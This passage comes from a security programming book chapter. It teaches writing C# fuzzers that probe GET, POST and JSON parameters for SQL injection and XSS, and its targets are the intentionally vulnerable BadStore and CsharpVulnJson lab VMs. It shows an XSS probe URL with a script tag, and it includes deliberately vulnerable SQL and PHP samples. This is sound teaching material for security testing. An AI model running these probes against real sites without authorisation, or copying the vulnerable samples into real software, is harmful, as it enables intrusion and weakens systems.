many other advanced features, in the chapters to come. In addition, you'll learn about many more of the core classes available to you, such as HTTP and TCP clients and much more.
As we develop our own custom security tools throughout this book, you will also learn about general programming patterns, which are useful conventions for creating classes that make building on them easy and fast. Good examples of programming patterns are used in Chapters 5 and 11 where we interface with APIs and RPCs of third-party tools such as Nessus and Metasploit.
By the end of this book, we will have covered how C# can be used for every security practitioner's job—from the security analyst to the engineer, and even the hobbyist researcher at home. C# is a beautiful and power- ful language, and with cross-platform support from Mono bringing C# to phones and embedded devices, it is just as capable and usable as Java and other alternatives.

2

fuzzinG anD exPloitinG xSS anD SQl injeCtion

In this chapter, you'll learn how to write a short and sweet cross-site scripting (XSS) and SQL injection fuzzer for URLs that take HTTP parameters in GET and POST requests. A *fuzzer* is software that attempts to find errors in other software, such as that on servers, by sending bad or malformed data. The two general types of fuzzers are mutational and gen- erational. A *mutational* fuzzer attempts to taint the data in a known-good input with bad data, without regard for the protocol or the structure of the data. In contrast, a *generational* fuzzer takes into account the nuances of the server's communication protocol and uses these nuances to generate tech- nically valid data that is sent to the server. With both types of fuzzers, the goal is to get the server to return an error to the fuzzer. We'll write a mutational fuzzer that you can use when you have a known- good input in the form of a URL or HTTP request. (We'll write a genera- tional fuzzer in Chapter 3.) Once you're able to use a fuzzer to find XSS and SQL injection vulnerabilities, you'll learn how to exploit the SQL injection vulnerabilities to retrieve usernames and password hashes from the database.

In order to find and exploit XSS and SQL injection vulnerabilities, we'll use the core HTTP libraries to build HTTP requests programmatically in C#. We'll first write a simple fuzzer that parses a URL and begins fuzzing the HTTP parameters using GET and POST requests. Next, we'll develop full exploits for the SQL injection vulnerabilities that use carefully crafted HTTP requests to extract user information from the database.

We'll test our tools in this chapter against a small Linux distribution called BadStore (available at the VulnHub website, *https://www.vulnhub .com/*). BadStore is designed with vulnerabilities like SQL injections and XSS attacks (among many others). After downloading the BadStore ISO from VulnHub, we'll use the free VirtualBox virtualization software to create a virtual machine in which to boot the BadStore ISO so that we can attack without risk of compromising our own host system.

Setting up the Virtual Machine

To install VirtualBox on Linux, Windows, or OS X, download the VirtualBox software from *https://www.virtualbox.org/*. (Installation should be simple; just follow the latest directions on the site when you download the software.) Virtual machines (VMs) allow us to emulate a computer system using a physi- cal computer. We can use virtual machines to easily create and manage vul- nerable software systems (such as the ones we will use throughout the book).

Adding a Host-Only Virtual Network

You may need to create a host-only virtual network for the VM before actu- ally setting it up. A host-only network allows communication only between VMs and the host system. Here are the steps to follow:

1. Click **File>Preferences** to open the VirtualBox – Preferences dialog.
On OS X, select the **VirtualBox>Preferences**. 2. Click the **Network** section on the left. You should see two tabs: NAT
Networks and Host-only Networks. On OS X, click the **Network** tab at the top of the Settings dialog. 3. Click the **Host-only Networks** tab and then the **Add host-only network**
(Ins) button on the right. This button is an icon of a network card over- laid with a plus sign. This should create a network named vboxnet0. 4. Click the **Edit host-only network (Space)** button on the right. This but-
ton is an icon of a screwdriver. 5. From the dialog that opens, click the **DHCP Server** tab. Check the
Enable Server box. In the Server Address field, enter the IP address **192.168.56.2**. In the Server Mask field, enter **255.255.255.0**. In the Lower Address Bound field, enter **192.168.56.100**. In the Upper Address Bound field, enter **192.168.56.199**. 6. Click **OK** to save changes to the host-only network. 7. Click **OK** again to close the Settings dialog.

Creating the Virtual Machine

Once VirtualBox is installed and configured with a host-only network, here's how to set up the VM:

1. Click the **New** icon in the top-left corner, as shown in Figure 2-1. 2. When presented with a dialog to choose the name of the operating sys-
tem and type, select the **Other Linux (32-bit)** drop-down option. 3. Click **Continue**, and you should be presented with a screen to give the
virtual machine some RAM. Set the amount of RAM to 512 MB and click **Continue**. (Fuzzing and exploiting can make the web server use a lot of RAM on the virtual machine.) 4. When asked to create a new virtual hard drive, choose **Do not add a**
virtual hard drive and click **Create**. (We'll run BadStore from the ISO image.) You should now see the VM in the left pane of the VirtualBox Manager window, as shown in Figure 2-1.

Figure 2-1: VirtualBox with a BadStore VM

Booting the Virtual Machine from the BadStore ISO

Once the VM has been created, set it to boot from the BadStore ISO by fol- lowing these steps:

1. Right-click the VM in the left pane of the VirtualBox Manager and
click **Settings**. A dialog should appear showing the current settings for the network card, CD-ROM, and other miscellaneous configuration items.

2. Select the **Network** tab in the Settings dialog. You should see upwards
of seven settings for the network card, including NAT (network address translation), host-only, and bridged. Choose host-only networking to allocate an IP address that is accessible only from the host machine but not from the rest of the Internet. 3. You need to set the type of network card in the Advanced drop-down to an older chipset, because BadStore is based on an old Linux kernel and some newer chipsets aren't supported. Choose **PCnet-FAST III**.

Now set the CD-ROM to boot from the ISO on the hard drive by follow- ing these steps:

1. Select the **Storage** tab in the Settings dialog. Click the **CD icon** to show
a menu with the option Choose a virtual CD/DVD disk file. 2. Click the **Choose a virtual CD/DVD disk file** option to find the
BadStore ISO that you saved to your filesystem and set it as the bootable media. The virtual machine should now be ready to boot. 3. Save the settings by clicking **OK** in the bottom-right corner of the
Settings tab. Then click the **Start** button in the top-left corner of the VirtualBox Manager, next to the Settings gear button, to boot the vir- tual machine. 4. Once the machine has booted, you should see a message saying, "Please press Enter to activate this console." Press ENTER and type **ifconfig** to view the IP configuration that should have been acquired. 5. Once you have your virtual machine's IP address, enter it in your web
browser, and you should see a screen like the one shown in Figure 2-2.

Figure 2-2: The main page of the BadStore web application

SQL injections

In today's rich web applications, programmers need to be able to store and query information behind the scenes in order to provide high-quality, robust user experiences. This is generally accomplished using a Structured Query Language (SQL; pronounced *sequel*) database such as MySQL, PostgreSQL, or Microsoft SQL Server.

SQL allows a programmer to interact with a database programmatically using SQL statements—code that tells the database how to create, read, update, or delete data based on some supplied information or criteria. For instance, a SELECT statement asking the database for the number of users in a hosted database might look like Listing 2-1.

```
SELECT COUNT(*) FROM USERS
```

Listing 2-1: Sample SQL SELECT statement

Sometimes programmers need SQL statements to be dynamic (that is, to change based on a user's interaction with a web application). For example, a programmer may need to select information from a database based on a certain user's ID or username.

However, when a programmer builds a SQL statement using data or values supplied by a user from an untrusted client such as a web browser, a *SQL injection* vulnerability may be introduced if the values used to build and execute SQL statements are not properly sanitized. For example, the C# SOAP method shown in Listing 2-2 might be used to insert a user into a database hosted on a web server. (*SOAP*, or *Simple Object Access Protocol*, is a web technology powered by XML that's used to create APIs on web appli- cations quickly. It's popular in enterprise languages such as C# and Java.)

```
[WebMethod] public string AddUser(string username, string password) {
NpgsqlConnection conn = new NpgsqlConnection(_connstr); conn.Open();
string sql = "insert into users values('{0}', '{1}');"; ❶sql = String.Format(sql, username, password);
NpgsqlCommand command = new NpgsqlCommand(sql, conn); ❷command.ExecuteNonQuery();
conn.Close(); return "Excellent!"; }
```

Listing 2-2: A C# SOAP method vulnerable to a SQL injection

In this case, the programmer hasn't sanitized the username and pass- word before creating ❶ and executing ❷ a SQL string. As a result, an attacker could craft a username or password string to make the database run carefully crafted SQL code designed to give them remote command execution and full control of the database.

If you were to pass in an apostrophe with one of the parameters (say user'name instead of username), the ExecuteNonQuery() method would try to run an invalid SQL query (shown in Listing 2-3). Then the method would throw an exception, which would be shown in the HTTP response for the attacker to see.

```
insert into users values('user'name', 'password');
```

Listing 2-3: This SQL query is invalid due to unsanitized user-supplied data.

Many software libraries that enable database access allow a program- mer to safely use values supplied by an untrusted client like a web browser with *parameterized queries*. These libraries automatically sanitize any untrusted values passed to a SQL query by escaping characters such as apostrophes, parentheses, and other special characters used in the SQL syntax. Param- eterized queries and other types of Object Relational Mapping (ORM) libraries like NHibernate help to prevent these SQL injection issues.

User-supplied values like these tend to be used in WHERE clauses within SQL queries, as in Listing 2-4.

```
SELECT * FROM users WHERE user_id = '1'
```

Listing 2-4: Sample SQL SELECT statement selecting a row for a specific user_id

As shown in Listing 2-3, throwing a single apostrophe into an HTTP parameter that is not properly sanitized before being used to build a dynamic SQL query could cause an error to be thrown by the web application (such as an HTTP return code of 500) because an apostrophe in SQL denotes the beginning or end of a string. The single apostrophe invalidates the state- ment by ending a string prematurely or by beginning a string without end- ing it. By parsing the HTTP response to such a request, we can fuzz these web applications and search for user-supplied HTTP parameters that lead to SQL errors in the response when the parameters are tampered with.

Cross-Site Scripting

Like SQL injection, *cross-site scripting (XSS) attacks* exploit vulnerabilities in code that crop up when programmers build HTML to be rendered in the web browser using data passed from the web browser to the server. Sometimes, the data supplied by an untrusted client, such as a web browser, to the server can contain HTML code such as JavaScript, allow- ing an attacker to potentially take over a website by stealing cookies or redirecting users to a malicious website with raw, unsanitized HTML.

For example, a blog that allows for comments might send an HTTP request with the data in a comment form to a site's server. If an attacker were to create a malicious comment with embedded HTML or JavaScript, and the blog software trusted and therefore did not sanitize the data from the web browser submitting the "comment," the attacker could use their
loaded attack comment to deface the website with their own HTML code or redirect any of the blog's visitors to the attacker's own website. The attacker could then potentially install malware on the visitors' machines.

Generally speaking, a quick way to detect code in a website that may be vulnerable to XSS attacks is to make a request to the site with a tainted parameter. If the tainted data appears in the response without alteration, you may have found a vector for XSS. For instance, suppose you pass <xss> in a parameter within an HTTP request, as in Listing 2-5.

```
GET /index.php?name=Brandon<xss> HTTP/1.1 Host: 10.37.129.5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:37.0) Gecko/20100101 Firefox/37.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive
```

Listing 2-5: Sample GET request to a PHP script with a query string parameter

The server responds with something like the HTTP response in Listing 2-6.

```
HTTP/1.1 200 OK Date: Sun, 19 Apr 2015 21:28:02 GMT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.7 Content-Length: 32 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html
Welcome Brandon&lt;xss&gt;<br />
```

Listing 2-6: Sample response from the PHP script sanitizing the name query string parameter

Essentially, if the code <xss> is replaced with a version that has some HTML entities, you know that the site is filtering input using a PHP func- tion such as htmlspecialchars() or a similar method. However, if the site simply returns <xss> in the response, you know that it's not performing any filtering or sanitization, as with the HTTP name parameter in the code shown in Listing 2-7.

```
<?php

$name = $_GET['name']; ❶echo "Welcome $name<br>"; ?>
```

Listing 2-7: PHP code vulnerable to XSS

As with the code vulnerable to a SQL injection in Listing 2-1, the pro- grammer is not sanitizing or replacing any potentially bad characters in the parameter before rendering the HTML to the screen ❶. By passing

a specially crafted name parameter to the web application, we can render HTML to the screen, execute JavaScript, and even run Java applets that attempt to take over the computer. For example, we could send a specially crafted URL such as the one in Listing 2-8.

```
www.example.com/vuln.php?name=Brandon<script>alert(1)</script>
```

Listing 2-8: A URL with a query string parameter that would pop up a JavaScript alert if the parameter were vulnerable to XSS

The URL in Listing 2-8 could cause a JavaScript pop-up to appear in the browser with the number 1 if the PHP script were using the name param- eter to build some HTML code that would eventually be rendered in the web browser.

Fuzzing Get requests with a Mutational Fuzzer

Now that you know the basics of SQL injection and XSS vulnerabilities, let's implement a quick fuzzer to find potential SQL injection or XSS vul- nerabilities in query string parameters. Query string parameters are the parameters in a URL after the ? sign, in *key* = *value* format. We'll focus on the HTTP parameters in a GET request, but first we'll break up a URL so we can loop through any HTTP query string parameters, as shown in Listing 2-9.

```
public static void Main(string[] args) { ❶string url = args[0];
int index = url.❷IndexOf("?"); string[] parms = url.❸Remove(0, index+1).❹Split('&'); foreach (string parm in parms)

Console.WriteLine(parm); }
```

Listing 2-9: Small Main() method breaking apart the query string parameters in a given URL

In Listing 2-9, we take the first argument (args[0]) passed to the main fuzzing application and assume it is a URL ❶ with some fuzzable HTTP parameters in the query string. In order to turn the parameters into some- thing we can iterate over, we remove any characters up to and including the question mark (?) in the URL and use IndexOf("?") ❷ to determine the index of the first occurrence of a question mark, which denotes that the URL has ended and that the query string parameters follow; these are the parameters that we can parse.

Calling Remove(0, index+1) ❸ returns a string that contains only our URL parameters. This string is then split by the '&' character ❹, which marks the beginning of a new parameter. Finally, we use the foreach key- word, loop over all the strings in the parms array, and print each parameter

and its value. We've now isolated the query string parameters and their values from the URL so that we can begin to alter the values while making HTTP requests in order to induce errors from the web application.

Tainting the Parameters and Testing for Vulnerabilities

Now that we have separated any URL parameters that might be vulnerable, the next step is to taint each with a piece of data that the server will sanitize properly if it is not vulnerable to either XSS or SQL injection. In the case of XSS, our tainted data will have <xss> added, and the data to test for SQL injection will have a single apostrophe.

We can create two new URLs to test the target by replacing the known- good parameter values in the URLs with the tainted data for XSS and SQL injection vulnerabilities, as shown in Listing 2-10.

```
foreach (string parm in parms) { ❶string xssUrl = url.Replace(parm, parm + "fd<xss>sa"); ❷string sqlUrl = url.Replace(parm, parm + "fd'sa");

    Console.WriteLine(xssUrl); Console.WriteLine(sqlUrl); }
```

Listing 2-10: Modified foreach loop replacing parameters with tainted

data

In order to test for vulnerabilities, we need to ensure that we're creating URLs that our target site will understand. To do so, we first replace the old parameter in the URL with a tainted one, and then we print the new URLs we'll be requesting. When printed to the screen, each parameter in the URL should have one line that includes the XSS-tainted parameter ❶ and one line containing the parameter with a single apostrophe ❷, as shown in Listing 2-11.

```
http://192.168.1.75/cgi-bin/badstore.cgi?searchquery=testfd<xss>sa&action=search
http://192.168.1.75/cgi-bin/badstore.cgi?searchquery=testfd'sa&action=search --snip--
```

Listing 2-11: URLs printed with tainted HTTP parameters

Building the HTTP Requests

Next, we programmatically build the HTTP requests using the HttpWebRequest class, and then we make the HTTP requests with the tainted HTTP param- eters to see if any errors are returned (see Listing 2-12).

```
foreach (string parm in parms) {
string xssUrl = url.Replace(parm, parm + "fd<xss>sa"); string sqlUrl = url.Replace(parm, parm + "fd'sa");
```

```
HttpWebRequest request = (HttpWebRequest)WebRequest.❶Create(sqlUrl); request.❷Method = "GET";
string sqlresp = string.Empty; using (StreamReader rdr = new
StreamReader(request.GetResponse().GetResponseStream())) sqlresp = rdr.❸ReadToEnd();
request = (HttpWebRequest)WebRequest.Create(xssUrl); request.Method = "GET"; string xssresp = string.Empty;
using (StreamReader rdr = new
StreamReader(request.GetResponse().GetResponseStream())) xssresp = rdr.ReadToEnd();
if (xssresp.Contains("<xss>"))
Console.WriteLine("Possible XSS point found in parameter: " + parm);
if (sqlresp.Contains("error in your SQL syntax"))
Console.WriteLine("SQL injection point found in parameter: " + parm);

}
```

Listing 2-12: Full foreach loop testing the given URL for XSS and SQL injection

In Listing 2-12, we use the static Create() method ❶ from the WebRequest class in order to make an HTTP request, passing the URL in the sqlUrl variable tainted with a single apostrophe as an argument, and we cast the resulting instantiated WebRequest returned to an HttpWebRequest. (Static methods are available without instantiating the parent class.) The static Create() method uses a factory pattern to create new objects based on the URL passed, which is why we need to cast the object returned to an HttpWebRequest object. If we passed a URL prefaced with *ftp://* or *file://*, for instance, then the type of object returned by the Create() method would be a different class (FtpWebRequest or FileWebRequest, respectively). We then set the Method property of the HttpWebRequest to GET (so we make a GET request) ❷ and save the response to the request in the resp string using the StreamReader class and the ReadToEnd() method ❸. If the response either contains the unsanitized XSS payload or throws an error regarding SQL syntax, we know we may have found a vulnerability.

Notice that we're using the using keyword in a new way here. Prior to this, we used using to import classes within a namespace (such as System.Net) into the fuzzer. Essentially, instantiated objects (objects created with the new keyword) can be used in the context of a using block in this way when the class implements the IDisposable interface (which requires a class to implement a Dispose() method). When the scope of the using block ends, the Dispose() method on the object is called automatically. This is a very useful way to manage the scope of a resource that can lead to resource leaks, such as network resources or file descriptors.

Testing the Fuzzing Code

Let's test our code with the search field on the BadStore front page. After opening the BadStore application in your web browser, click the **Home** menu item on the left side of the page and then perform a quick search from the search box in the upper-left corner. You should see a URL in your browser similar to the one shown in Listing 2-13.

```
http://192.168.1.75/cgi-bin/badstore.cgi?searchquery=test&action=search
```

Listing 2-13: Sample URL to the BadStore search page

Pass the URL in Listing 2-13 (replacing the IP address with the IP address of the BadStore instance on your network) to the program as an argument on the command line, as shown in Listing 2-14, and the fuzzing should begin.

```
$ ./fuzzer.exe "http://192.168.1.75/cgi-bin/badstore.cgi?searchquery=test&action=search" SQL injection point found in parameter: searchquery=test Possible XSS point found in parameter: searchquery=test $
```

Listing 2-14: Running the XSS and SQL injection fuzzer

Running our fuzzer should find both a SQL injection and XSS vulner- ability in BadStore, with output similar to that of Listing 2-14.

Fuzzing POSt requests

In this section, we'll use BadStore to fuzz the parameters of a POST request (a request used to submit data to a web resource for processing) saved to the local hard drive. We'll capture a POST request using Burp Suite—an easy-to-use HTTP proxy built for security researchers and pen testers that sits between your browser and the HTTP server so that you can see the data sent back and forth.

Download and install Burp Suite now from *http://www.portswigger.net/*. (Burp Suite is a Java archive or JAR file that can be saved to a thumb drive or other portable media.) Once Burp Suite is downloaded, start it using Java with the commands shown in Listing 2-15.

```
$ cd ~/Downloads/ $ java -jar burpsuite*.jar
```

Listing 2-15: Running Burp Suite from the command line

Once started, the Burp Suite proxy should be listening on port 8080. Set Firefox traffic to use the Burp Suite proxy as follows:

1. From within Firefox, choose **Edit>Preferences**. The Advanced dialog should appear. 2. Choose the **Network** tab, as shown in Figure 2-3.

Figure 2-3: The Network tab within Firefox preferences

3. Click **Settings...** to open the Connection Settings dialog, as shown in Figure 2-4.

Figure 2-4: The Connection Settings dialog

4. Select **Manual proxy configuration** and enter **127.0.0.1** into the HTTP Proxy field and **8080** into the Port field. Click **OK** and then close the Connection Settings dialog.

Now all requests sent through Firefox should be directed through Burp Suite first. (To test this, go to *http://google.com/*; you should see the request in Burp Suite's request pane, as shown in Figure 2-5.)

Figure 2-5: Burp Suite actively capturing a request for google.com *from Firefox*

Clicking the **Forward** button within Burp Suite should forward the request (to Google in this case) and return the response to Firefox.

Writing a POST Request Fuzzer

We'll write and test our POST request fuzzer against BadStore's "What's New" page (see Figure 2-6). Navigate to this page in Firefox and click the **What's New** menu item on the left.

Figure 2-6: The "What's New" items page of the BadStore web application

A button at the bottom of the page is used to add checked items to your shopping cart. With Burp Suite sitting between your browser and the BadStore server, select a few items using the checkboxes on the right side of the page and then click **Submit** to initiate the HTTP request to add the items to your cart. Capturing the submit request within Burp Suite should yield a request like Listing 2-16.

```
POST /cgi-bin/badstore.cgi?action=cartadd HTTP/1.1 Host: 192.168.1.75 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:20.0) Gecko/20100101 Firefox/20.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language:
```

```
en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://192.168.1.75/cgi-bin/badstore.cgi?action=whatsnew Connection:
keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 63
cartitem=1000&cartitem=1003&Add+Items+to+Cart=Add+Items+to+Cart
```

Listing 2-16: HTTP POST request from Burp Suite

The request shown in Listing 2-16 is a typical POST request with URL-encoded parameters (a set of special characters, some of which are whitespace such as spaces and newlines). Note that this request uses plus signs (+) instead of spaces. Save this request to a text file. We'll use it later to systematically fuzz the parameters being sent in the HTTP POST request.

The parameters in an HTTP POST request are included in the last line of the request, which defines the data being posted in key/value form. (Some POST requests post multipart forms or other exotic types of data, but the general principle remains the same.)

Notice in this request that we are adding the items with an ID of 1000 and 1003 to the cart. Now look at the Firefox window, and you should notice that these numbers correspond to the ItemNum column. We are post- ing a parameter along with these IDs, essentially telling the application what to do with the data we're sending (namely, add the items to the cart). As you can see, the only parameters that might be susceptible to SQL injec- tion are the two cartitem parameters, because these are the parameters that the server will interpret.

The Fuzzing Begins

Before we start fuzzing our POST request parameters, we need to set up a little bit of data, as shown in Listing 2-17.

```
public static void Main(string[] args) {
string[] requestLines = ❶File.ReadAllLines(args[0]); ❷string[] parms = requestLines[requestLines.Length - 1].Split('&');
❸string host = string.Empty;
StringBuilder requestBuilder = new ❹StringBuilder();
foreach (string ln in requestLines) {
if (ln.StartsWith("Host:"))
host = ln.Split(' ')[1].❺Replace("\r", string.Empty); requestBuilder.Append(ln + "\n"); }

string request = requestBuilder.ToString() + "\r\n"; Console.WriteLine(request); }
```

Listing 2-17: The Main() method reading a POST request and storing the Host header

We read the request from the file using File.ReadAllLines() ❶ and pass the first argument to the fuzzing application as the argument to ReadAllLines(). We use ReadAllLines() instead of ReadAllText() because we need to split the request in order to get information out of it (namely, the Host header) before fuzzing. After reading the request line by line into a string array and grabbing the parameters from the last line of the file ❷, we declare two variables. The host variable ❸ stores the IP address of the host we are sending the request to. Declared below is a System.Text.StringBuilder ❹, which we'll use to build the full request as a single string.

We use a StringBuilder because it's more performant than using the += operator with a basic string type (each time you call the += operator, you create a new string object in memory). On a small file like this, you won't notice a difference, but when you're dealing with a lot of strings in memory, you will. Using a StringBuilder creates only one object in memory, resulting in much less memory overhead.

Now we loop through each line in the request that was previously read in. We check whether the line begins with "Host:" and, if so, assign the second half of the host string to the host variable. (This should be an IP address.) We then call Replace() ❺ on the string to remove the trailing \r, which could be left by some versions of Mono, since an IP address does not have \r in it. Finally, we append the line with \r\n to the StringBuilder. Having built the full request, we assign it to a new string variable called request. (For HTTP, your request must end with \r\n; otherwise, the server response will hang.)

Fuzzing Parameters

Now that we have the full request to send, we need to loop through and attempt to fuzz the parameters for SQL injections. Within this loop, we'll use the classes System.Net.Sockets.Socket and System.Net.IPEndPoint. Because we have the full HTTP request as a string, we can use a basic socket to com- municate with the server instead of relying on the HTTP libraries to create the request for us. Now we have all that we need to fuzz the server, as shown in Listing 2-18.

```
IPEndPoint rhost = ❶new IPEndPoint(IPAddress.Parse(host), 80); foreach (string parm in parms) {
using (Socket sock = new ❷Socket(AddressFamily.InterNetwork,
SocketType.Stream, ProtocolType.Tcp)) {
sock.❸Connect (rhost);
string val = parm.❹Split('=')[1]; string req = request.❺Replace("=" + val, "=" + val + "'");
byte[] reqBytes = ❻Encoding.ASCII.GetBytes(req); sock.❼Send(reqBytes);
byte[] buf = new byte[sock.ReceiveBufferSize];
sock.❽Receive(buf); string response = ❾Encoding.ASCII.GetString(buf); if (response.Contains("error in your SQL syntax"))
Console.WriteLine("Parameter " + parm + " seems vulnerable"); Console.Write(" to SQL injection with value: " + val + "'"); } }
```

Listing 2-18: Additional code added to Main() *method fuzzing the POST parameters*

In Listing 2-18, we create a new IPEndPoint object ❶ by passing a new IPAddress object returned by IPAddress.Parse(host) and the port we will be connecting to on the IP address (80). Now we can loop over the param- eters grabbed from the requestLines variable previously. For each iteration, we need to create a new Socket connection ❷ to the server, and we use the AddressFamily.InterNetwork to tell the socket it is IPv4 (version 4 of the Internet Protocol, as opposed to IPv6) and use SocketType.Stream to tell the socket that this is a streaming socket (stateful, two-way, and reliable). We also use ProtocolType.Tcp to tell the socket that the protocol to be used is TCP. Once this object is instantiated, we can call Connect() ❸ on it by pass- ing our IPEndPoint object rhost as an argument. After we have connected to the remote host on port 80, we can begin fuzzing the parameter. We split the parameter from the foreach loop on the equal sign (=) character ❹ and extract the value of that parameter using the value in the second index of the array (resulting from the method call). Then we call Replace() ❺ on the request string to replace the original value with a tainted one. For example, if our value is 'foo' within the parameters string 'blah=foo&blergh=bar', we would replace foo with foo' (note the apostrophe appended to the end of foo).

Next, we get a byte array representing the string using Encoding.ASCII .GetBytes() ❻, and we send it over the socket ❼ to the server port specified in the IPEndPoint constructor. This is equivalent to making a request from your web browser to the URL in the address bar.

After sending the request, we create a byte array equal to the size of the response we will receive, and we fill it with the response from the server with Receive() ❽. We use Encoding.ASCII.GetString() ❾ to get the string that the byte array represents, and we can then parse the response from the server. We check the response from the server by checking whether the SQL error message we expect is in the response data.

Our fuzzer should output any parameters that result in SQL errors, as shown in Listing 2-19.

```
$ mono POST_fuzzer.exe /tmp/request Parameter cartitem=1000 seems vulnerable to SQL injection with value: 1000' Parameter
cartitem=1003 seems vulnerable to SQL injection with value: 1003' $
```

Listing 2-19: Output from running the POST fuzzer on the request

As we can see in the fuzzer output, the cartitem HTTP parameter seems vulnerable to a SQL injection. When we insert an apostrophe into the cur- rent value of the HTTP parameter, we get back a SQL error in the HTTP response, which makes this highly likely to be vulnerable to a SQL injection attacks.

Fuzzing jSOn

As a pentester or security engineer, you will likely run into web services that accept data serialized as JavaScript Object Notation (JSON) in some form as input. In order to help you learn to fuzz JSON HTTP requests, I've writ- ten a small web application called CsharpVulnJson that accepts JSON and uses the information within to persist and search user-related data. A small virtual appliance has been created so that the web service works out of the box; it is available on the VulnHub website (*http://www.vulnhub.com/*).

Setting Up the Vulnerable Appliance

CsharpVulnJson ships as an OVA file, a completely self-contained virtual machine archive that you can simply import into your choice of virtualiza- tion suite. In most cases, double-clicking the OVA file should bring up your virtualization software to automatically import the appliance.

Capturing a Vulnerable JSON Request

Once CsharpVulnJson is running, point Firefox to port 80 on the virtual machine, and you should see a user management interface like the one shown in Figure 2-7. We will focus on creating users with the Create User button and the HTTP request this button makes when creating a user. Assuming Firefox is still set up to pass through Burp Suite as an HTTP proxy, fill in the Create a user fields and click **Create User** to yield an HTTP request with the user information inside a JSON hash in Burp Suite's request pane, as in Listing 2-20.

Figure 2-7: The CsharpVulnJson web application open in Firefox

```
POST /Vulnerable.ashx HTTP/1.1 Host: 192.168.1.56 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:26.0)
Gecko/20100101 Firefox/26.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language:
en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json; charset=UTF-8 Referer: http://192.168.1.56/
Content-Length: 190 Cookie: ASP.NET_SessionId=5D14CBC0D339F3F054674D8B Connection: keep-alive Pragma: no-cache
Cache-Control: no-cache
{"username":"whatthebobby","password":"propane1","age":42,"line1":"123 Main St",
"line2":"","city":"Arlen","state":"TX","zip":78727,"first":"Hank","middle":"","last":"Hill", "method":"create"}
```

Listing 2-20: Create User request with JSON containing user information to save to the database

Now right-click the request pane and select **Copy to File**. When asked where to save the HTTP request on your computer, make your choice and note where the request was saved, because you'll need to pass the path to the fuzzer.

Creating the JSON Fuzzer

In order to fuzz this HTTP request, we need to separate the JSON from the rest of the request. We then need to iterate over each key/value pair in the JSON and alter the value to try to induce any SQL errors from the web server.

Reading the Request File

To create the JSON HTTP request fuzzer, we start with a known-good HTTP request (the Create User request). Using the previously saved HTTP request, we can read in the request and begin the fuzzing process, as shown in Listing 2-21.

```
public static void Main(string[] args) {
string url = ❶args[0]; string requestFile = ❷args[1]; string[] request = null;
using (StreamReader rdr = ❸new StreamReader(File.❹OpenRead(requestFile)))
request = rdr.❺ReadToEnd().❻Split('\n');
string json = ❼request[request.Length - 1]; JObject obj = ❽JObject.Parse(json);
Console.WriteLine("Fuzzing POST requests to URL " + url); ❾IterateAndFuzz(url, obj); }
```

Listing 2-21: The Main method, which kicks off fuzzing the JSON parameter

The first thing we do is store the first ❶ and second ❷ arguments passed to the fuzzer in two variables (url and requestFile, respectively). We also declare a string array that will be assigned the data in our HTTP request after reading the request from the filesystem.

Within the context of a using statement, we open our request file for reading using File.OpenRead() ❹ and pass the file stream returned to the StreamReader constructor ❸. With the new StreamReader class instantiated, we can read all the data in the file with the ReadToEnd() method ❺. We also split the data in the request file using the Split() method ❻, passing a newline character to the method as the character to split the request up. The HTTP protocol dictates that newlines (carriage returns and line feeds, specifically) be used to separate the headers from the data being sent in the request. The string array returned by Split() is assigned to the request vari- able we declared earlier.

Having read and split the request file, we can grab the JSON data we need to fuzz and begin iterating through the JSON key/value pairs to find SQL injection vectors. The JSON we want is the last line of the HTTP request, which is the last element in the request array. Because 0 is the first element in an array, we subtract 1 from the request array length, use the resulting integer to grab the last element in the request array, and assign the value to the string json ❼.

Once we have the JSON separated from the HTTP request, we can parse the json string and create a JObject that we can programmatically iterate on using JObject.Parse() ❽. The JObject class is available in the Json.NET library, freely available via the NuGet package manager or at *http://www .newtonsoft.com/json/*. We will use this library throughout the book.

After creating the new JObject, we print a status line to inform the user we are fuzzing POST requests to the given URL. Finally, we pass the JObject and the URL to make HTTP POST requests to the IterateAndFuzz() method ❾ to process the JSON and fuzz the web application.

Iterating Over the JSON Keys and Values Now we can start iterating over each JSON key/value pair and set each pair up to test for a possible SQL injection vector. Listing 2-22 shows how to accomplish this using the IterateAndFuzz() method.

```
private static void IterateAndFuzz(string url, JObject obj) {
foreach (var pair in (JObject)❶obj.DeepClone()) {
if (pair.Value.Type == ❷JTokenType.String || pair.Value.Type == ❸JTokenType.Integer) {
Console.WriteLine("Fuzzing key: " + pair.Key);
if (pair.Value.Type == JTokenType.Integer) ❹Console.WriteLine("Converting int type to string to fuzz");
JToken oldVal = ❺pair.Value; obj[pair.Key] = ❻pair.Value.ToString() + "'";
if (❼Fuzz(url, obj.Root))
Console.WriteLine("SQL injection vector: " + pair.Key); else
Console.WriteLine (pair.Key + " does not seem vulnerable.");

❽obj[pair.Key] = oldVal; } } }
```
Listing 2-22: The IterateAndFuzz() method, which determines which key/value pairs in the JSON to fuzz

The IterateAndFuzz() method starts by looping over the key/value pairs in the JObject with a foreach loop. Because we will be altering the values within the JSON by inserting apostrophes into them, we call DeepClone() ❶ so that we get a separate object that is identical to the first. This allows us to iterate over one copy of the JSON key/value pairs while altering another. (We need to make a copy because while in a foreach loop, you can't alter the object you are iterating over.)

Within the foreach loop, we test whether the value in the current key/ value pair is a JTokenType.String ❷ or JTokenType.Integer ❸ and continue fuzzing that value if the value is either the string or integer type. After printing a message ❹ to alert the user as to which key we are fuzzing, we test whether the value is an integer in order to let the user know that we are converting the value from an integer to a string.

Because integers in JSON have no quotes and must be a whole number or float, inserting a value with an apostrophe would cause a parsing exception. Many weakly typed web applications built with Ruby on Rails or Python will not care whether the JSON value changes type, but strongly typed web applications built with Java or C# might not behave as expected. The CsharpVulnJson web application does not care whether the type is changed on purpose.

